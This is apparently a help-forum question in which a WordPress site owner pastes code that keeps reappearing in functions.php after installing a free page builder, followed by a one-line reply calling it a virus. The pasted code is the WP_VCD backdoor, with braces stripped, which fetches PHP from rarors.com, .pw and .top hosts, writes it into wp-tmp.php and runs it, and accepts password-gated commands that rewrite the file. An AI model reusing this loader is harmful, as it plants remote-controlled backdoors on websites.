Styjun

I am facing a problem from last 3-4 days. In my WordPress functions.php file there is automatically generating some code. I don't know why this is happened. I have installed a free visual composer. I don't know whether this is the reason or not. I cannot even delete the code. how to fix it. Here is the code generating automatically:

<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '4481ccb95b8bf8572a3491066dfd567d')) 
 $div_code_name = "wp_vcd";
 switch ($_REQUEST['action']) 






 case 'change_domain';
 if (isset($_REQUEST['newdomain'])) 

 if (!empty($_REQUEST['newdomain'])) 
 if ($file = @file_get_contents(__FILE__)) 
 if (preg_match_all('/$tmpcontent = @file_get_contents("http://(.*)/code.php/i', $file, $matcholddomain)) 

 $file = preg_replace('/' . $matcholddomain[1][0] . '/i', $_REQUEST['newdomain'], $file);
 @file_put_contents(__FILE__, $file);
 print "true";
 


 
 
 
 break;

 case 'change_code';
 if (isset($_REQUEST['newcode'])) 

 if (!empty($_REQUEST['newcode'])) 
 if ($file = @file_get_contents(__FILE__)) 
 if (preg_match_all('///$start_wp_theme_tmp([sS]*)//$end_wp_theme_tmp/i', $file, $matcholdcode)) 

 $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
 @file_put_contents(__FILE__, $file);
 print "true";
 


 
 
 
 break;

 default:
 print "ERROR_WP_ACTION WP_V_CD WP_CD";
 

 die("");









$div_code_name = "wp_vcd";
$funcfile = __FILE__;
if (!function_exists('theme_temp_setup')) 
 $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
 if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) 

 function file_get_contents_tcurl($url)
 
 $ch = curl_init();
 curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
 curl_setopt($ch, CURLOPT_HEADER, 0);
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 curl_setopt($ch, CURLOPT_URL, $url);
 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
 $data = curl_exec($ch);
 curl_close($ch);
 return $data;
 

 function theme_temp_setup($phpCode)
 
 $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
 $handle = fopen($tmpfname, "w+");
 if (fwrite($handle, "<?phpn" . $phpCode)) 
 else 
 $tmpfname = tempnam('./', "theme_temp_setup");
 $handle = fopen($tmpfname, "w+");
 fwrite($handle, "<?phpn" . $phpCode);
 
 fclose($handle);
 include $tmpfname;
 unlink($tmpfname);
 return get_defined_vars();
 


 $wp_auth_key = 'f008cf96406af32ae142ee92de8032e0';
 if (($tmpcontent = @file_get_contents("http://www.rarors.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.rarors.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) 

 if (stripos($tmpcontent, $wp_auth_key) !== false) 
 extract(theme_temp_setup($tmpcontent));
 @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);

 if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) 
 @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
 if (!file_exists(get_template_directory() . '/wp-tmp.php')) 
 @file_put_contents('wp-tmp.php', $tmpcontent);
 
 

 
 


 elseif ($tmpcontent = @file_get_contents("http://www.rarors.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false) 

 if (stripos($tmpcontent, $wp_auth_key) !== false) 
 extract(theme_temp_setup($tmpcontent));
 @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);

 if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) 
 @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
 if (!file_exists(get_template_directory() . '/wp-tmp.php')) 
 @file_put_contents('wp-tmp.php', $tmpcontent);
 
 

 
 elseif ($tmpcontent = @file_get_contents("http://www.rarors.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false) 

 if (stripos($tmpcontent, $wp_auth_key) !== false) 
 extract(theme_temp_setup($tmpcontent));
 @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);

 if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) 
 @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
 if (!file_exists(get_template_directory() . '/wp-tmp.php')) 
 @file_put_contents('wp-tmp.php', $tmpcontent);
 
 

 
 elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) 
 extract(theme_temp_setup($tmpcontent));

 elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) 
 extract(theme_temp_setup($tmpcontent));

 elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) 
 extract(theme_temp_setup($tmpcontent));

 





 


//$start_wp_theme_tmp



//wp_tmp


//$end_wp_theme_tmp
?>

Your site has virus. You can download wordfence plugin to check which files is infect and delete them.